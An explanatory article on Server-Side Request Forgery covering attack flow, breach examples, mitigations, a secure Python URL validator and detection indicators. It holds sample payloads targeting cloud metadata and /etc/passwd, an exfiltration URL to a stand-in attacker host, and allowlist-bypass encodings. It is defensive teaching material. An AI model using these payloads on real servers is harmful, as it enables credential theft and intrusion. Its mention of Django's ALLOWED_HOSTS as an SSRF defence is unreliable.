Understanding SSRF

Server-Side Request Forgery (SSRF) is a web security vulnerability that allows attackers to manipulate a server into making unauthorized requests to internal or external systems. This exploit can lead to data breaches, internal network reconnaissance, or full system compromise. SSRF vulnerabilities typically occur when applications process user-supplied URLs or input without proper validation, turning the server into an unwitting proxy for malicious requests.

---

Key Characteristics of SSRF

• Attack Vector: Exploits server-side functionality that makes HTTP requests based on user input
• Primary Impact: Enables access to internal services, cloud metadata APIs, or external systems
• Common Targets: Applications with file upload/download, webhooks, or API proxy features
• OWASP Ranking: Listed as #10 in the OWASP Top 10 (2021) under "Server-Side Request Forgery"
• Cloud Risk: Particularly dangerous in modern cloud environments due to metadata service endpoints

---

How SSRF Attacks Work

Attack Flow

1. Input Identification: Locate parameters accepting URLs or IP addresses (e.g., ?url=, ?file=, ?endpoint=)
2. Payload Crafting: Inject a target URL (internal or external) into the vulnerable parameter
3. Server Execution: The server makes the request on behalf of the attacker
4. Data Exfiltration: Attacker receives responses containing sensitive information

Common Attack Scenarios

Scenario	Example Payload	Potential Impact
Internal Network Scan	http://localhost:22	Discover open ports/services
Cloud Metadata Access	http://169.254.169.254/latest/meta-data/	Retrieve cloud credentials
File Access	file:///etc/passwd	Read sensitive files
External Service Abuse	https://attacker.com/exfil?data=secret	Data exfiltration

Critical Note: Cloud environments (AWS, GCP, Azure) are particularly vulnerable due to their metadata service endpoints at 169.254.169.254.

---

Security Risks and Impact

Primary Security Risks

• Data Exposure: Access to internal databases, configuration files, or cloud credentials
• Network Reconnaissance: Mapping internal network topology and services
• Service Abuse: Using the server as a proxy for attacks on other systems
• Denial of Service: Overloading internal services with crafted requests
• Lateral Movement: Gaining foothold in internal networks after initial compromise

Real-World Breach Examples

1. Capital One (2019): Attackers exploited SSRF to access AWS metadata and steal 100+ million customer records
2. Shopify Bug Bounty: Researchers demonstrated SSRF to access internal Redis instances
3. GitHub Actions: SSRF used to access internal GitHub services during CI/CD pipelines

---

Prevention and Mitigation Strategies

Technical Controls

Control	Implementation	Effectiveness
Input Validation	Reject non-HTTP(S) schemes, validate URL structure	High
Allowlisting	Only permit requests to pre-approved domains/IPs	Very High
Network Segmentation	Isolate sensitive services from web servers	High
DNS Resolution Control	Disable DNS resolution for user-supplied hosts	Medium
Request Timeouts	Implement strict timeouts for outbound requests	Medium

Implementation Checklist

• Disable unused URL schemes (file://, gopher://, dict://)
• Implement strict allowlists for internal and external destinations
• Use network policies to restrict outbound connections
• Disable HTTP redirects for user-controlled requests
• Log and monitor all outbound requests from application servers
• Implement rate limiting for outbound requests
• Regularly audit cloud metadata service access

Secure Coding Example

# Python example: Secure URL validation
import re
from urllib.parse import urlparse

ALLOWED_DOMAINS = ['api.trusted.com', 'cdn.ourdomain.com']
ALLOWED_SCHEMES = ('http', 'https')

def is_safe_url(url):
    try:
        parsed = urlparse(url)
        if parsed.scheme not in ALLOWED_SCHEMES:
            return False
        if not parsed.hostname:
            return False
        if parsed.hostname not in ALLOWED_DOMAINS:
            return False
        return True
    except:
        return False

---

Detection and Monitoring

Indicators of Compromise

• Unusual outbound requests to:
  • Cloud metadata services (169.254.169.254)
  • Internal IP ranges (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16)
  • Non-standard ports (e.g., 8080, 22, 3306)
  • Sensitive paths (/etc/passwd, /proc/self/environ)
• Requests containing:
  • IP address obfuscation (0x7f.0.0.1, 2130706433)
  • Credential keywords (aws_secret_key, password)
  • Unusual user agents or headers

Monitoring Strategies

1. Outbound Request Logging: Capture all server-initiated HTTP requests with full details
2. Anomaly Detection: Alert on unusual destination patterns or request frequencies
3. Rate Limiting: Throttle outbound requests from application servers
4. SIEM Integration: Correlate SSRF attempts with other suspicious activities
5. Cloud-Specific Monitoring: Track access to metadata services and internal APIs

---

Advanced Considerations

SSRF in Modern Architectures

• Microservices: Increased attack surface due to service-to-service communication
• Serverless: SSRF risks in cloud functions (Lambda, Cloud Functions) with improper permissions
• Kubernetes: Potential to access cluster-internal services via kubernetes.default.svc
• Service Mesh: SSRF vulnerabilities in sidecar proxies (Envoy, Linkerd)

Protection Bypass Techniques

Attackers may attempt to bypass protections using:

• DNS Rebinding: Changing DNS responses during attack execution
• IP Obfuscation: Alternative encodings (0x7f.0.0.1, 2130706433, [::1])
• Protocol Smuggling: Using http://example.com@internal-ip syntax
• SSRF via File Uploads: Uploading malicious files that trigger SSRF when processed
• Header Injection: Manipulating headers like Host, X-Forwarded-For
• Redirect Chains: Using open redirects to bypass allowlists

Defense-in-Depth Recommendations

1. Application Layer:
   • Implement strict input validation and allowlisting
   • Use framework-specific protections (e.g., Django's ALLOWED_HOSTS)
2. Network Layer:
   • Implement egress filtering at firewall level
   • Use private DNS zones for internal services
3. Cloud Layer:
   • Restrict metadata service access using IAM roles
   • Implement VPC Service Controls
4. Monitoring Layer:
   • Deploy web application firewalls with SSRF rules
   • Implement real-time anomaly detection

---

Learn More

• OWASP SSRF Prevention Cheat Sheet
• PortSwigger SSRF Labs
• AWS Metadata Service Security
• SSRF Payloads Repository
• Cloud Security Alliance SSRF Guide
• Google Cloud SSRF Protection